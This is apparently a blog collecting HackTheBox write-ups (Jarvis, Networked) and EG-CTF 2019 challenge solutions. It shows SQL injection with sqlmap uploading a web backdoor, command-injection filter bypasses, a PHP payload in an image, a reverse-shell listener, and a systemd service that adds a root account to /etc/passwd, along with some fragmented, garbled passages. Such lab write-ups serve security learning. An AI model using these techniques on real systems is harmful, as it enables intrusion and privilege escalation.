Hey guys, today Jarvis retired and here’s my write-up about it. It was a nice easy box with a web application vulnerable to SQL injection, a python script vulnerable to command injection and a setuid binary that could be abused to get a root shell. It’s a medium box and its ip is 10.10.10.143, I added it to /etc/hosts as jarvis.htb. Let’s jump right in!
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/jarvis# nmap -sV -sT -sC -o nmapinitial jarvis.htb Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-08 17:33 EET Nmap scan report for jarvis.htb (10.10.10.143) Host is up (0.24s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) |_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Stark Hotel Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 32.86 seconds root@kali:~/Desktop/HTB/boxes/jarvis#
We got ssh on port 22 and http on port 80. Let’s take a look at the web service.
Web Enumeration
By visiting http://jarvis.htb/ we get a website for a hotel called Stark Hotel:
I ran gobuster to check for any sub directories and the only interesting thing I found was /phpmyadmin:
phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement. -phpmyadmin.net
That can be useful later if we could find the credentials, but for now let’s concentrate on the web application.
SQLi in room.php
Back to the “Rooms & Suites” section in the main page, clicking on any of these rooms requests /room.php with a parameter called cod that holds the room number:
I tried replacing the number with a single quote ' and I got a weird response:
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 ___ __H__ ___ ___[(]_____ ___ ___ {1.3.4#stable} |_ -| . [)] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the enduser's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 17:43:03 /2019-11-08/ [17:43:03] [INFO] testing connection to the target URL [17:43:04] [INFO] checking if the target is protected by some kind of WAF/IPS [17:43:04] [INFO] testing if the target URL content is stable [17:43:05] [INFO] heuristics detected web page charset 'ascii' [17:43:05] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [17:43:13] [INFO] searching for dynamic content [17:43:13] [CRITICAL] page notfound (404) [17:43:13] [WARNING] HTTPerror codes detected during run: 404 (NotFound) - 2 times [*] ending @ 17:43:13 /2019-11-08/
I checked the page again and saw a message indicating that I got banned for 90 seconds:
I assumed that it checks for the user-agent because the ban happened immediately, so I added the --user-agent option and used Firefox user-agent, that was enough to bypass the filter:
root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --os-shell ___ __H__ ___ ___[,]_____ ___ ___ {1.3.4#stable} |_ -| . ["] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the enduser's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 22:23:10 /2019-11-08/ [22:23:10] [INFO] resuming back-end DBMS 'mysql' [22:23:10] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=1 AND 9726=9726 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: cod=1 AND SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr --- [22:23:11] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 9.0 (stretch) web application technology: Apache 2.4.25 back-end DBMS: MySQL >= 5.0.12 [22:23:11] [INFO] going to use a web backdoor for command prompt [22:23:11] [INFO] fingerprinting the back-end DBMS operating system [22:23:11] [INFO] the back-end DBMS operating system is Linux which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) > 4 [22:23:13] [WARNING] unable to automatically retrieve the web server document root what do you want to use for writable directory? [1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default) [2] custom location(s) [3] custom directory list file [4] brute force search > 2 please provide a comma separate list of absolute directory paths: /var/www/html [22:23:40] [INFO] retrieved web server absolute paths: '/images/' [22:23:40] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINESTERMINATEDBY' method [22:23:42] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpuujaq.php [22:23:43] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpbtwbt.php [22:23:43] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell> whoami do you want to retrieve the command standard output? [Y/n/a] a command standard output: 'www-data' os-shell> id command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)' os-shell>
From here we can simply execute a reverse shell command and get a shell.
Second way:
I used the --passwords option to dump the users’ password hashes:
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the enduser's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 22:17:45 /2019-11-08/ [22:17:46] [INFO] resuming back-end DBMS 'mysql' [22:17:46] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=1 AND 9726=9726 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: cod=1 AND SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr --- [22:17:46] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 9.0 (stretch) web application technology: Apache 2.4.25 back-end DBMS: MySQL >= 5.0.12 [22:17:46] [INFO] fetching database users password hashes [22:17:46] [INFO] used SQL query returns 1 entry do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [22:17:53] [INFO] writing hashes to a temporary file '/tmp/sqlmapbAZ4vg2489/sqlmaphashes-KkbVkR.txt' do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n database management system users password hashes: [*] DBadmin [1]: password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 [22:17:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb' [*] ending @ 22:17:55 /2019-11-08/ root@kali:~/Desktop/HTB/boxes/jarvis#
I got the password hash for DBadmin, I cracked it with crackstation:
Then I tried these credentials (DBadmin : imissyou) with phpmyadmin and I got in:
www-data@jarvis:/home/pepper$ cat /var/www/Admin-Utilities/simpler.py #!/usr/bin/env python3 from datetime import datetime import sys import os from os import listdir import re defshow_help(): message=''' ******************************************************** * Simpler - A simple simplifier ;) * * Version 1.0 * ******************************************************** Usage: python3 simpler.py [options] Options: -h/--help : This help -s : Statistics -l : List the attackers IP -p : ping an attacker IP ''' print(message)
defexec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command)
The most interesting function in this script is exec_ping:
1 2 3 4 5 6 7 8
defexec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command)
It takes our input (it assumes that it’s an ip) and executes ping on it, to prevent command injection it checks for these characters:
1
& ; - ` || |
However, It doesn’t check for the dollar sign ($), the dollar sign can be used to execute commands like this: $(command) So for example if we do ping -c 1 $(echo 127.0.0.1), echo 127.0.0.1 will be executed first then the ping command will be executed:
1 2 3 4 5 6 7 8
root@kali:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(echo 127.0.0.1) PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms
systemctl may be used to introspect and control the state of the “systemd” system and service manager. -man7.org
To verify that it can be abused I checked gtfobins and found a page for it. We need to create a service that executes a file of our choice when it starts, then we’ll use systemctl to enable and start it and the file will get executed as root. I created a service that executes /dev/shm/root.sh:
1 2 3 4 5 6 7 8
[Unit] Description=pwned
[Service] ExecStart=/dev/shm/root.sh
[Install] WantedBy=multi-user.target
And I created /dev/shm/root.sh which echoes:
1
rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash
to /etc/passwd to enable us to su as root with the credentials rooot : AAAA. (Check Ghoul).
pepper@jarvis:/dev/shm$ su rooot Password: root@jarvis:/dev/shm# id uid=0(root) gid=0(root) groups=0(root) root@jarvis:/dev/shm# whoami root root@jarvis:/dev/shm# cd /root/ root@jarvis:~# ls -al total 52 drwx------ 6 root root 4096 Mar 5 2019 . drwxr-xr-x 23 root root 4096 Mar 3 2019 .. lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc drwxr-xr-x 4 root root 4096 Mar 3 2019 .cache -rwxr--r-- 1 root root 42 Mar 4 2019 clean.sh drwxr-xr-x 3 root root 4096 Mar 3 2019 .config drwxr-xr-x 3 root root 4096 Mar 3 2019 .local lrwxrwxrwx 1 root root 9 Mar 4 2019 .mysql_history -> /dev/null drwxr-xr-x 2 root root 4096 Mar 2 2019 .nano -rw-r--r-- 1 root root 148 Aug 17 2015 .profile lrwxrwxrwx 1 root root 9 Mar 4 2019 .python_history -> /dev/null -r-------- 1 root root 33 Mar 5 2019 root.txt -rw-r--r-- 1 root root 66 Mar 4 2019 .selected_editor -rwxr-xr-x 1 root root 5271 Mar 5 2019 sqli_defender.py root@jarvis:~#
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Networked retired and here’s my write-up about it. It was a quick fun machine with an RCE vulnerability and a couple of command injection vulnerabilities. It’s a Linux box and its ip is 10.10.10.146, I added it to /etc/hosts as networked.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
root@kali:~/Desktop/HTB/boxes/networked# nmap -sV -sT -sC -o nmapinitial networked.htb Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-16 01:16 EET Nmap scan report for networked.htb (10.10.10.146) Host is up (1.7s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA) | 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA) |_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 443/tcp closed https
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 147.70 seconds root@kali:~/Desktop/HTB/boxes/networked#
We got ssh on port 22 and http on port 80, let’s check the web service.
Web Enumeration
The index page had nothing except for this message:
So I ran gobuster to check for sub directories and I found 2 interesting directories, /uploads and /backup:
<html> <body> Hello mate, we're building the new FaceMash!</br> Help by funding us and be the new Tyler&Cameron!</br> Join us at the pool party this Sat to get a glimpse <!-- upload and gallery not yet linked --> </body> </html>
functioncheck_ip($prefix,$filename){ //echo "prefix: $prefix - fname: $filename\n"; $ret = true; if (!(filter_var($prefix, FILTER_VALIDATE_IP))) { $ret = false; $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip "; } else { $msg = $filename; } returnarray($ret,$msg); }
functionfile_mime_type($file){ $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/'; if (function_exists('finfo_file')) { $finfo = finfo_open(FILEINFO_MIME); if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system { $mime = @finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); if (is_string($mime) && preg_match($regexp, $mime, $matches)) { $file_type = $matches[1]; return $file_type; } } } if (function_exists('mime_content_type')) { $file_type = @mime_content_type($file['tmp_name']); if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string { return $file_type; } } return $file['type']; }
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name); if (!$success) { echo"<p>Unable to save file.</p>"; exit; } echo"<p>file uploaded, refresh gallery</p>";
// set proper permissions on the new file chmod(UPLOAD_DIR . $name, 0644); } } else { displayform(); } ?>
/upload.php:
/photos.php:
RCE –> Shell as apache
We can use upload.php to upload images then we can view them through photos.php or /uploads/image_name. For some time I tried to bypass the extension filter in upload.php to upload php files but I wasn’t able to bypass it. However I could get RCE by injecting php code in the uploaded images. I got a solid black image and called it original.png, let’s upload it:
Now let’s copy that image and inject some php code into the new image:
I injected <?php passthru("whoami"); ?> which should execute whoami, let’s test it:
Now if we view the file from /uploads we won’t get the image, we’ll get the binary data of the image and the result of the executed php code at the end:
whoami got executed successfully and we’re the user apache. I created another one to get a reverse shell:
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1337 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 10.10.10.146. Ncat: Connection from 10.10.10.146:55662. sh: no job control in this shell sh-4.2$ whoami whoami apache sh-4.2$ id id uid=48(apache) gid=48(apache) groups=48(apache) sh-4.2$ hostname hostname networked.htb sh-4.2$
Command Injection in check_attack.php –> Shell as guly –> User Flag
First thing I did after getting a shell was to make it stable:
1 2 3 4 5 6 7 8 9 10 11 12
sh-4.2$ which python which python /usr/bin/python sh-4.2$ python -c "import pty;pty.spawn('/bin/bash')" python -c "import pty;pty.spawn('/bin/bash')" bash-4.2$ ^Z [1]+ Stopped nc -lvnp 1337 root@kali:~/Desktop/HTB/boxes/networked# stty raw -echo root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1337
bash-4.2$ export TERM=screen bash-4.2$
Then I started to enumerate the box, there was only one user on the box called guly:
bash-4.2$ cd /home/ bash-4.2$ ls -al total 0 drwxr-xr-x. 3 root root 18 Jul 2 13:27 . dr-xr-xr-x. 17 root root 224 Jul 2 13:27 .. drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 guly bash-4.2$ cd guly/ bash-4.2$ ls -al total 32 drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 . drwxr-xr-x. 3 root root 18 Jul 2 13:27 .. lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null -rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout -rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile -rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc -rw------- 1 guly guly 749 Nov 16 00:31 .viminfo -r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php -rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly -rw------- 1 guly guly 1920 Nov 16 00:27 dead.letter -r--------. 1 guly guly 33 Oct 30 2018 user.txt bash-4.2$ cat user.txt cat: user.txt: Permission denied bash-4.2$
We can’t read the flag as apache, but there are some other interesting readable stuff, crontab.guly shows that /home/guly/check_attack.php gets executed as guly every 3 minutes:
This script checks for files that aren’t supposed to be in the uploads directory and deletes them, the interesting part is how it deletes the files, it appends the file name to the rm command without any filtering which makes it vulnerable to command injection:
And $value is the suspicious file’s name. We can simply go to /var/www/html/uploads and create a file that holds the payload in its name. The name will start with a semicolon ; (to inject the new command) then the reverse shell command.
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo"interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo"wrong input, try again" echo"interface $var:" read x done echo$var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done
/sbin/ifup guly0 [guly@networked ~]$
This script simply creates a network script for an interface called guly then activates that interface. It asks the user for these options: NAME, PROXY_METHOD, BROWSER_ONLY, BOOTPROTO.
1 2 3 4 5 6 7 8 9 10
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh interface NAME: test interface PROXY_METHOD: test interface BROWSER_ONLY: test interface BOOTPROTO: test ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
We’re only interested in the NAME option because according to this page we can inject commands in the interface name. Let’s try to execute bash:
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh interface NAME: test bash interface PROXY_METHOD: test interface BROWSER_ONLY: test interface BOOTPROTO: test [root@networked network-scripts]# whoami root [root@networked network-scripts]# id uid=0(root) gid=0(root) groups=0(root) [root@networked network-scripts]# cd /root/ [root@networked ~]# ls -la total 28 dr-xr-x---. 2 root root 144 Jul 15 11:34 . dr-xr-xr-x. 17 root root 224 Jul 2 13:27 .. lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null -rw-r--r--. 1 root root 18 Dec 29 2013 .bash_logout -rw-r--r--. 1 root root 176 Dec 29 2013 .bash_profile -rw-r--r--. 1 root root 176 Dec 29 2013 .bashrc -rw-r--r--. 1 root root 100 Dec 29 2013 .cshrc -r--------. 1 root root 33 Oct 30 2018 root.txt -rw-r--r--. 1 root root 129 Dec 29 2013 .tcshrc -rw------- 1 root root 1011 Jul 15 11:34 .viminfo [root@networked network-scripts]#
And we got a root shell.
We owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
I participated in EG-CTF 2019 qualification round which was held in Friday November 15 2019 and lasted for 26 hours, These are my quick write-ups for some of the challenges.
The message is 7uvxEhXkGkmPhYQtDE3Eg99ZKfr8kRwFe15nNkg9eyFLKXqe Good luck!!
Flag Format EGCTF{50m3_l337_73x7}
Solution:
This was a very easy one, we’re given an encoded string and we need to decode it to retrieve the flag, I tried some of the known encoding methods and found that it was base-58 encoded:
var a = ['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39', '\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c']; (function(c, d) { var e = function(f) { while (--f) { c['push'](c['shift']()); } }; e(++d); }(a, 0xc7)); var b = function(c, d) { c = c - 0x0; var e = a[c]; if (b['mPLuJI'] === undefined) { (function() { var f = function() { var g; try { g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')(); } catch (h) { g = window; } return g; }; var i = f(); var j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; i['atob'] || (i['atob'] = function(k) { var l = String(k)['replace'](/=+$/, ''); for (var m = 0x0, n, o, p = 0x0, q = ''; o = l['charAt'](p++); ~o && (n = m % 0x4 ? n * 0x40 + o : o, m++ % 0x4) ? q += String['fromCharCode'](0xff & n >> (-0x2 * m & 0x6)) : 0x0) { o = j['indexOf'](o); } return q; }); }()); b['QMZCsz'] = function(r) { var s = atob(r); var t = []; for (var u = 0x0, v = s['length']; u < v; u++) { t += '%' + ('00' + s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2); } returndecodeURIComponent(t); }; b['MdcAcN'] = {}; b['mPLuJI'] = !![]; } var w = b['MdcAcN'][c]; if (w === undefined) { e = b['QMZCsz'](e); b['MdcAcN'][c] = e; } else { e = w; } return e; }; variable = function() { flag = String[b('0x0')](0x45, 0x47, 0x43, 0x54, 0x46, 0x7b, 0x4a, 0x61, 0x76, 0x61, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74) + atob(b('0x1')); }; another = !![];
By looking at the end of the code we’ll see this function:
We found this key online but it does not make any sense to us. Can you figure anything out?
CEARD{Pmr14_jm0m0m0m0m0m0m0m0m0m0mn}
Solution:
By looking at the text it’s easily recognizable that this is the flag but the letters are substituted. We know that the flag starts with EGCTF so C is E and E is G, which means that the offset is 2. I used rot13.com to decode the flag:
Misc: QR c0d3
Challenge Description:
1 2 3
I tried so hard and got so far but in the end I have nothing to try. Can you help me read this QR code
Flag format EGCTF{$0m3_l337_73x7}
Solution:
We’re given an image called QR.png:
I used onlinebarcodereader.com to read the qr code, but I only got a small part of the flag:
1
R_c0d3$_!$_n07_4n_34$y_74$k} 3nd_0f_Fl49 .
I tried rotating the image by 90 degrees to see if I’ll get any different results, which actually worked:
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git show 2e3e1a8 commit 2e3e1a8c124768ecbb31e92d5c070003924b9254 (HEAD -> master) Author: Ben ALaa <[email protected]> Date: Thu Nov 14 23:18:26 2019 +0100
Refining
diff --git a/S3cR3tPaTh/config.php b/S3cR3tPaTh/config.php index 3d7f801..706d93b 100644 --- a/S3cR3tPaTh/config.php +++ b/S3cR3tPaTh/config.php @@ -419,15 +419,6 @@ $CONFIG = array( */ 'overwriteprotocol' => '', -/** - * Override webroot - * ownCloud attempts to detect the webroot for generating URLs automatically. - * For example, if `www.example.com/owncloud` is the URL pointing to the - * ownCloud instance, the webroot is `/owncloud`. When proxies are in use, it - * may be difficult for ownCloud to detect this parameter, resulting in invalid URLs. - */ -'overwritewebroot' => '', - /** * Override condition * This option allows you to define a manual override condition as a regular root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#
/S3cR3tPaTh:
I could also find the credentials in one of the commits (DelCr (5b9e491)):
/** - * Enables or disables avatars or user profile photos + /* Enables or disables avatars or user profile photos * `true` enables avatars, or user profile photos, `false` disables them. * These appear on the User page, on user's Personal pages and are used by some apps * (contacts, mail, etc). @@ -469,15 +469,7 @@ $CONFIG = array(
Some one hacked us, we are sure that our password is so strong! We've no idea what's happening! Can you check if our security is solid or not! http://167.71.248.246/secure/
Solution:
This was the easiest web challenge, by visiting the site we get asked for authentication:
As the description said, the password is strong so bruteforcing the basic auth is not the solution, the challenge name is Tamp3rat0r so I tried tampering with the request method:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
root@kali:~/Desktop/EGCTF-Quals/web/Tamp3rat0r# curl http://167.71.248.246/secure/ <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Unauthorized</title> </head><body> <h1>Unauthorized</h1> <p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p>
<address>Apache/2.4.29 (Ubuntu) Server at 167.71.248.246 Port 80</address> </body></html> root@kali:~/Desktop/EGCTF-Quals/web/Tamp3rat0r# curl -X POST http://167.71.248.246/secure/ our secret flag is: EGCTF{0xc7d22f_is_a_t4mp3rat0r} root@kali:~/Desktop/EGCTF-Quals/web/Tamp3rat0r#
Crypto: Des amies
Challenge Description:
1
nc 167.71.93.117 9000
Hint:
1
Strong key!
Solution:
By connecting to that port we get asked for a name, then we get an encrypted output:
1 2 3 4 5 6 7 8 9 10 11
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# nc 167.71.93.117 9000 Name: test Here is your personalized message: Mi! Itqq2@QRI,ƮG@0M\a"?K4$y N t-4QV ]Khe-װWa58ky
From the challenge name I assumed that the message is DES encrypted so I tried getting an encrypted message then sending it back again to see if I’ll get the decrypted result. I sent 1, then I saved the output to a file and called it out.1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# echo 1 | nc 167.71.93.117 9000 Name: Here is your personalized message: L8O@eMcNJN4X0FƤ߃& [Mڸ"*A!v.$.8v\G9(sK{~L{+ qOw|,>ԄB̃]R
Then I sent the encrypted message as an input, and I successfully got back the decrypted message, that’s when I knew that my approach wasn’t intended because it wants the decryption key as the flag:
1 2 3 4 5 6 7
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# cat out.1 | nc 167.71.93.117 9000 Name: Here is your personalized message: 1 Well done, now submit the key in hex format, for example, if the key is 'Winter' submit EGCTF{57696e746572} m>eMcNJN4X0FƤ߃& [Mڸ"*A!v.$.8v\G9(sK{~L{+ qOw|,>ԄB̃]R
The hint said Strong key!, so it’s probably a weak one, and DES is known for some weak keys. I searched for weak DES keys and found this Wikipedia page. I used des.online-domain-tools.com and started trying some of the keys, 0xFEFEFEFEFEFEFEFE worked:
Forensics: Data Leakage
Challenge Description:
1 2 3
We acquired this memory image from the computer of the main suspect in corporate espionage case. Could you help us find what had been leaked?
flag: EGCTF{md5_hex_lowercase}
Solution:
We’re given a memory image called memdump.mem. First thing I did was to check the image info (I used volatility):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86) AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/root/Desktop/eg-ctf-quals/forensics/dataleakage/memdump.mem) PAE type : PAE DTB : 0x31c000L KDBG : 0x80544ce0L Number of Processors : 1 Image Type (Service Pack) : 2 KPCR for CPU 0 : 0xffdff000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2019-11-05 09:22:13 UTC+0000 Image local date and time : 2019-11-05 11:22:13 +0200
I ran the file command on all the dumped files and found 2 RAR archives:
1 2 3 4 5 6 7 8 9 10 11 12 13
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# cd files/ root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage/files# file * file.1112.0x8144bae8.img: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows file.1112.0x81463a10.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows file.1112.0x814646e0.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows --- file.1144.0x8147e6c8.dat: RAR archive data, v5 file.1144.0x81583d98.vacb: RAR archive data, v5 --- file.972.0x8183a6e0.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows file.972.0x8183aae8.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows file.972.0x8183af30.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage/files#
Both of them had an image called flag.png and both of them were password protected:
Earlier when I ran psscan there was a WinRAR process running (PID : 1308 ):
1 2 3 4 5 6 7 8
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 psscan Volatility Foundation Volatility Framework 2.6 Offset(P) Name PID PPID PDB Time created Time exited ------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------ --- 0x000000000189c2c8 WinRAR.exe 1308 1520 0x086002e0 2019-11-05 09:21:46 UTC+0000 --- root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage#
I checked the environment variables of that process and found the password there:
List of employees with their salaries had been leaked. Here is the traffic captured from the network. It may contain the leaked data. Can you help?
Flag Format: EGCTF{md5_hex_lowercase}
Solution:
We’re given a pcapng file called salary_traffic.pcapng, by looking at the capture in wireshark and sorting the packets according to their protocol I noticed a bunch of weird DNS queries:
All of them were looking up the same domain example.test with different base-64 encoded strings as subdomains. I used tshark to extract all of these DNS queries and I saved them into a file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
